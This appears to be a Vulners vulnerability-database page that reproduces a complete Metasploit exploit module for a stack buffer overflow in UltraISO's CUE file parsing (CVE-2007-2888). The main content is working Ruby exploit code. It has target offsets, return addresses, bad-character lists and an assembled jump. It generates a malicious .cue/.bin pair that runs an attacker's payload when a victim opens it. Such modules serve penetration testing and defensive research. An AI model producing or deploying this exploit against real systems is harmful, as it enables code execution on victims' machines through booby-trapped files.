Lucene search
K

UltraISO CUE File Parsing Buffer Overflow

🗓️ 30 Mar 2010 00:00:00Reported by jduckType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

UltraISO CUE buffer overflow in file parsin

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-2888
30 Apr 201000:00
circl
Check Point Advisories
UltraISO CUE File Parsing Buffer Overflow (CVE-2007-2888)
14 Feb 201700:00
checkpoint_advisories
CVE
CVE-2007-2888
30 May 200701:00
cve
Cvelist
CVE-2007-2888
30 May 200701:00
cvelist
Exploit DB
UltraISO - '.cue' File Parsing Buffer Overflow (Metasploit)
30 Apr 201000:00
exploitdb
Metasploit
UltraISO CUE File Parsing Buffer Overflow
29 Mar 201017:21
metasploit
NVD
CVE-2007-2888
30 May 200701:30
nvd
Prion
Stack overflow
30 May 200701:30
prion
`##  
# $Id: ultraiso_cue.rb 8957 2010-03-30 01:40:26Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'UltraISO CUE File Parsing Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in EZB Systems, Inc's  
UltraISO. When processing .CUE files, data is read from file into a  
fixed-size stack buffer. Since no bounds checking is done, a buffer overflow  
can occur. Attackers can execute arbitrary code by convincing their victim  
to open an CUE file.  
  
NOTE: A file with the same base name, but the extension of "bin" must also  
exist. Opening either file will trigger the vulnerability, but the files must  
both exist.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 8957 $',  
'References' =>  
[  
[ 'CVE', '2007-2888' ],  
[ 'OSVDB', '36570' ],  
[ 'BID', '24140' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/3978' ]  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0d\x22",  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# BOF @ 0x005e1f8b  
  
# The EXE base addr contains a bad char (nul). This prevents us from  
# writing data after the return address. NOTE: An SEH exploit was  
# originally created for this vuln, but was tossed in favor of using  
# the return address method instead. This is due to the offset being   
# stable across different open methods.  
  
[ 'Windows - UltraISO v8.6.2.2011 portable',  
{  
'Offset' => 1100,  
'JmpOff' => 0x30, # offset from the end to our jmp  
'Ret' => 0x00594740 # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe  
}  
],  
[ 'Windows - UltraISO v8.6.0.1936',  
{  
'Offset' => 1100,  
'JmpOff' => 0x30, # offset from the end to our jmp  
'Ret' => 0x0059170c # add esp, 0x64 / p/p/p/r in unpacked UltraISO.exe  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'May 24 2007',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.cue']),  
], self.class)  
end  
  
def exploit  
  
off = target['Offset']  
jmpoff = target['JmpOff']  
  
sploit = "\""  
sploit << payload.encoded  
sploit << rand_text_alphanumeric(off - sploit.length)  
  
# Smashed return address..  
sploit[off, 4] = [target.ret].pack('V')  
  
# We utilize a single instruction near the end of the buffer space to  
# jump back to the beginning of the buffer..  
distance = off - jmpoff  
distance -= 1 # dont execute the quote character!  
jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
sploit[off - jmpoff, jmp.length] = jmp  
  
sploit << ".BIN\""  
  
cue_data = "FILE "  
cue_data << sploit  
cue_data << " BINARY\r\n"  
cue_data << " TRACK 01 MODE1/2352\r\n"  
cue_data << " INDEX 01 00:00:00\r\n"  
  
print_status("Creating '#{datastore['FILENAME']}' using target '#{target.name}' ...")  
file_create(cue_data)  
  
# create the empty BIN file  
binfn = datastore['FILENAME'].dup  
binfn.gsub!(/\.cue$/, '.bin')  
out = File.expand_path(File.join(datastore['OUTPUTPATH'], binfn))  
File.new(out,"wb").close  
print_status("Created empty output file #{out}")  
  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Mar 2010 00:00Current
0.5Low risk
Vulners AI Score0.5
EPSS0.81476
30